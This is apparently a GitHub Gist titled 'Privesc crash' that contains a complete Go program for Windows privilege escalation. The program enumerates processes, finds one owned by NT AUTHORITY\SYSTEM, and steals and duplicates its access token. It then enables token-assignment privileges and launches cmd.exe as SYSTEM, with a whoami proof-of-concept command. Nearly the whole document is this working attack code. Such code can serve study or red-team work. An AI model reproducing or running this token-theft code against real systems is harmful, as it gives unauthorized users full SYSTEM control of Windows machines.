Last active
February 11, 2019 19:57
-
-
Save lesnuages/bd86457619d3fff6a88715c0cfbfb11e to your computer and use it in GitHub Desktop.
Privesc crash
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
package main | |
import ( | |
"fmt" | |
"log" | |
"os/exec" | |
"syscall" | |
"time" | |
"unsafe" | |
) | |
const ( | |
SecurityAnonymous = 0 | |
SecurityIdentification = 1 | |
SecurityImpersonation = 2 | |
SecurityDelegation = 3 | |
TokenPrimary TokenType = 1 | |
TokenImpersonation TokenType = 2 | |
STANDARD_RIGHTS_REQUIRED = 0x000F | |
SYNCHRONIZE = 0x00100000 | |
THREAD_ALL_ACCESS = STANDARD_RIGHTS_REQUIRED | SYNCHRONIZE | 0xffff | |
) | |
type TokenType uint32 | |
type Process interface { | |
// Pid is the process ID for this process. | |
Pid() int | |
// PPid is the parent process ID for this process. | |
PPid() int | |
// Executable name running this process. This is not a path to the | |
// executable. | |
Executable() string | |
// Owner is the account name of the process owner. | |
Owner() string | |
} | |
const ( | |
TOKEN_ADJUST_PRIVILEGES = 0x0020 | |
SE_PRIVILEGE_ENABLED = 0x00000002 | |
) | |
type LUID struct { | |
LowPart uint32 | |
HighPart int32 | |
} | |
type LUID_AND_ATTRIBUTES struct { | |
Luid LUID | |
Attributes uint32 | |
} | |
type TOKEN_PRIVILEGES struct { | |
PrivilegeCount uint32 | |
Privileges [1]LUID_AND_ATTRIBUTES | |
} | |
// WindowsProcess is an implementation of Process for Windows. | |
type WindowsProcess struct { | |
pid int | |
ppid int | |
exe string | |
owner string | |
} | |
func (p *WindowsProcess) Pid() int { | |
return p.pid | |
} | |
func (p *WindowsProcess) PPid() int { | |
return p.ppid | |
} | |
func (p *WindowsProcess) Executable() string { | |
return p.exe | |
} | |
func (p *WindowsProcess) Owner() string { | |
return p.owner | |
} | |
func newWindowsProcess(e *syscall.ProcessEntry32) *WindowsProcess { | |
// Find when the string ends for decoding | |
end := 0 | |
for { | |
if e.ExeFile[end] == 0 { | |
break | |
} | |
end++ | |
} | |
account, _ := getProcessOwner(e.ProcessID) | |
return &WindowsProcess{ | |
pid: int(e.ProcessID), | |
ppid: int(e.ParentProcessID), | |
exe: syscall.UTF16ToString(e.ExeFile[:end]), | |
owner: account, | |
} | |
} | |
func findProcess(pid int) (Process, error) { | |
ps, err := processes() | |
if err != nil { | |
return nil, err | |
} | |
for _, p := range ps { | |
if p.Pid() == pid { | |
return p, nil | |
} | |
} | |
return nil, nil | |
} | |
// getInfo retrieves a specified type of information about an access token. | |
func getInfo(t syscall.Token, class uint32, initSize int) (unsafe.Pointer, error) { | |
n := uint32(initSize) | |
for { | |
b := make([]byte, n) | |
e := syscall.GetTokenInformation(t, class, &b[0], uint32(len(b)), &n) | |
if e == nil { | |
return unsafe.Pointer(&b[0]), nil | |
} | |
if e != syscall.ERROR_INSUFFICIENT_BUFFER { | |
return nil, e | |
} | |
if n <= uint32(len(b)) { | |
return nil, e | |
} | |
} | |
} | |
func getTokenUser(t syscall.Token) (*syscall.Tokenuser, error) { | |
i, e := getInfo(t, syscall.TokenUser, 50) | |
if e != nil { | |
return nil, e | |
} | |
return (*syscall.Tokenuser)(i), nil | |
} | |
// getTokenOwner retrieves access token t owner account information. | |
func getTokenOwner(t syscall.Token) (*syscall.Tokenuser, error) { | |
i, e := getInfo(t, syscall.TokenOwner, 50) | |
if e != nil { | |
return nil, e | |
} | |
return (*syscall.Tokenuser)(i), nil | |
} | |
func getProcessOwner(pid uint32) (owner string, err error) { | |
handle, err := syscall.OpenProcess(syscall.PROCESS_QUERY_INFORMATION, false, pid) | |
if err != nil { | |
return | |
} | |
var token syscall.Token | |
if err = syscall.OpenProcessToken(handle, syscall.TOKEN_QUERY, &token); err != nil { | |
return | |
} | |
tokenUser, err := getTokenUser(token) | |
if err != nil { | |
tokenUser, err = getTokenOwner(token) | |
if err != nil { | |
return | |
} | |
} | |
owner, domain, _, err := tokenUser.User.Sid.LookupAccount("") | |
owner = fmt.Sprintf("%s\\%s", domain, owner) | |
return | |
} | |
func processes() ([]Process, error) { | |
handle, err := syscall.CreateToolhelp32Snapshot(syscall.TH32CS_SNAPPROCESS, 0) | |
if err != nil { | |
return nil, err | |
} | |
defer syscall.CloseHandle(handle) | |
var entry syscall.ProcessEntry32 | |
entry.Size = uint32(unsafe.Sizeof(entry)) | |
if err = syscall.Process32First(handle, &entry); err != nil { | |
return nil, err | |
} | |
results := make([]Process, 0, 50) | |
for { | |
results = append(results, newWindowsProcess(&entry)) | |
err = syscall.Process32Next(handle, &entry) | |
if err != nil { | |
break | |
} | |
} | |
return results, nil | |
} | |
func duplicateTokenEx(hExistingToken syscall.Token, dwDesiredAccess uint32, lpTokenAttributes *syscall.SecurityAttributes, impersonationLevel uint32, tokenType TokenType, phNewToken *syscall.Token) (err error) { | |
modadvapi32 := syscall.MustLoadDLL("advapi32.dll") | |
procDuplicateTokenEx := modadvapi32.MustFindProc("DuplicateTokenEx") | |
r1, _, err := procDuplicateTokenEx.Call(uintptr(hExistingToken), uintptr(dwDesiredAccess), uintptr(unsafe.Pointer(lpTokenAttributes)), uintptr(impersonationLevel), uintptr(tokenType), uintptr(unsafe.Pointer(phNewToken))) | |
if r1 != 0 { | |
return nil | |
} | |
return | |
} | |
func adjustTokenPrivileges(token syscall.Token, disableAllPrivileges bool, newstate *TOKEN_PRIVILEGES, buflen uint32, prevstate *TOKEN_PRIVILEGES, returnlen *uint32) (err error) { | |
modadvapi32 := syscall.MustLoadDLL("advapi32.dll") | |
procAdjustTokenPrivileges := modadvapi32.MustFindProc("AdjustTokenPrivileges") | |
var _p0 uint32 | |
if disableAllPrivileges { | |
_p0 = 1 | |
} else { | |
_p0 = 0 | |
} | |
r0, _, e1 := procAdjustTokenPrivileges.Call(uintptr(token), uintptr(_p0), uintptr(unsafe.Pointer(newstate)), uintptr(buflen), uintptr(unsafe.Pointer(prevstate)), uintptr(unsafe.Pointer(returnlen))) | |
if r0 == 0 { | |
err = e1 | |
} | |
return err | |
} | |
func lookupPrivilegeValue(systemname *uint16, name *uint16, luid *LUID) (err error) { | |
modadvapi32 := syscall.MustLoadDLL("advapi32.dll") | |
procLookupPrivilegeValueW := modadvapi32.MustFindProc("LookupPrivilegeValueW") | |
r1, _, e1 := procLookupPrivilegeValueW.Call(uintptr(unsafe.Pointer(systemname)), uintptr(unsafe.Pointer(name)), uintptr(unsafe.Pointer(luid))) | |
if r1 == 0 { | |
err = e1 | |
} | |
return | |
} | |
func getCurrentThread() (pseudoHandle syscall.Handle, err error) { | |
modkernel32 := syscall.MustLoadDLL("kernel32.dll") | |
procGetCurrentThread := modkernel32.MustFindProc("GetCurrentThread") | |
r0, _, e1 := procGetCurrentThread.Call(0, 0, 0) | |
pseudoHandle = syscall.Handle(r0) | |
if pseudoHandle == 0 { | |
err = e1 | |
} | |
return | |
} | |
func openThreadToken(h syscall.Handle, access uint32, openasself bool, token *syscall.Token) (err error) { | |
modadvapi32 := syscall.MustLoadDLL("advapi32.dll") | |
procOpenThreadToken := modadvapi32.MustFindProc("OpenThreadToken") | |
var _p0 uint32 | |
if openasself { | |
_p0 = 1 | |
} else { | |
_p0 = 0 | |
} | |
r1, _, e1 := procOpenThreadToken.Call(uintptr(h), uintptr(access), uintptr(_p0), uintptr(unsafe.Pointer(token)), 0, 0) | |
if r1 == 0 { | |
err = e1 | |
} | |
return | |
} | |
func impersonateLoggedOnUser(hToken syscall.Token) (err error) { | |
modadvapi32 := syscall.MustLoadDLL("advapi32.dll") | |
procImpersonateLoggedOnUser := modadvapi32.MustFindProc("ImpersonateLoggedOnUser") | |
r1, _, err := procImpersonateLoggedOnUser.Call(uintptr(hToken)) | |
if r1 != 0 { | |
return nil | |
} | |
return | |
} | |
func getPrimaryToken(pid uint32) (*syscall.Token, error) { | |
handle, err := syscall.OpenProcess(syscall.PROCESS_QUERY_INFORMATION, true, pid) | |
if err != nil { | |
log.Println("OpenProcess failed") | |
return nil, err | |
} | |
defer syscall.CloseHandle(handle) | |
var token syscall.Token | |
if err = syscall.OpenProcessToken(handle, syscall.TOKEN_DUPLICATE|syscall.TOKEN_ASSIGN_PRIMARY|syscall.TOKEN_QUERY, &token); err != nil { | |
log.Println("OpenProcessToken failed") | |
return nil, err | |
} | |
return &token, err | |
} | |
func enableCurrentThreadPrivilege(privilegeName string) error { | |
ct, err := getCurrentThread() | |
if err != nil { | |
return err | |
} | |
var t syscall.Token | |
err = openThreadToken(ct, syscall.TOKEN_QUERY|TOKEN_ADJUST_PRIVILEGES, false, &t) | |
if err != nil { | |
log.Println("openThreadToken failed") | |
return err | |
} | |
defer syscall.CloseHandle(syscall.Handle(t)) | |
var tp TOKEN_PRIVILEGES | |
privStr, err := syscall.UTF16PtrFromString(privilegeName) | |
if err != nil { | |
return err | |
} | |
err = lookupPrivilegeValue(nil, privStr, &tp.Privileges[0].Luid) | |
if err != nil { | |
log.Println("lookupPrivilegeValue failed") | |
return err | |
} | |
tp.PrivilegeCount = 1 | |
tp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED | |
return adjustTokenPrivileges(t, false, &tp, 0, nil, nil) | |
} | |
func impersonateProcess(pid uint32) (newToken syscall.Token, err error) { | |
var attr syscall.SecurityAttributes | |
var requiredPrivileges = []string{"SeAssignPrimaryTokenPrivilege", "SeIncreaseQuotaPrivilege"} | |
primaryToken, err := getPrimaryToken(pid) | |
if err != nil { | |
log.Println("getPrimaryToken failed:", err) | |
return | |
} | |
defer primaryToken.Close() | |
err = impersonateLoggedOnUser(*primaryToken) | |
if err != nil { | |
log.Println("impersonateLoggedOnUser failed:", err) | |
return | |
} | |
err = duplicateTokenEx(*primaryToken, syscall.TOKEN_ALL_ACCESS, &attr, SecurityDelegation, TokenPrimary, &newToken) | |
if err != nil { | |
log.Println("duplicateTokenEx failed:", err) | |
return | |
} | |
for _, priv := range requiredPrivileges { | |
err = enableCurrentThreadPrivilege(priv) | |
if err != nil { | |
log.Println("Failed to set priv", priv) | |
return | |
} | |
} | |
return | |
} | |
func impersonateUser(username string) (bool, error) { | |
var err error | |
p, err := processes() | |
if err != nil { | |
return false, err | |
} | |
for _, proc := range p { | |
if proc.Owner() == username { | |
fmt.Println("Found system process:", proc.Pid(), proc.Executable()) | |
newToken, err := impersonateProcess(uint32(proc.Pid())) | |
if err != nil { | |
log.Println(err) | |
} else { | |
fmt.Println("Got system token") | |
cmd := exec.Command(`C:\windows\system32\cmd.exe`, "/C whoami > c:\\whoami.txt") | |
cmd.SysProcAttr = &syscall.SysProcAttr{ | |
Token: newToken, | |
} | |
err = cmd.Run() | |
if err != nil { | |
return false, err | |
} | |
break | |
} | |
} | |
} | |
if err == nil { | |
return true, err | |
} | |
return false, err | |
} | |
func main() { | |
_, err := impersonateUser("NT AUTHORITY\\SYSTEM") | |
if err != nil { | |
log.Fatal(err) | |
} | |
time.Sleep(10 * time.Second) | |
} |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment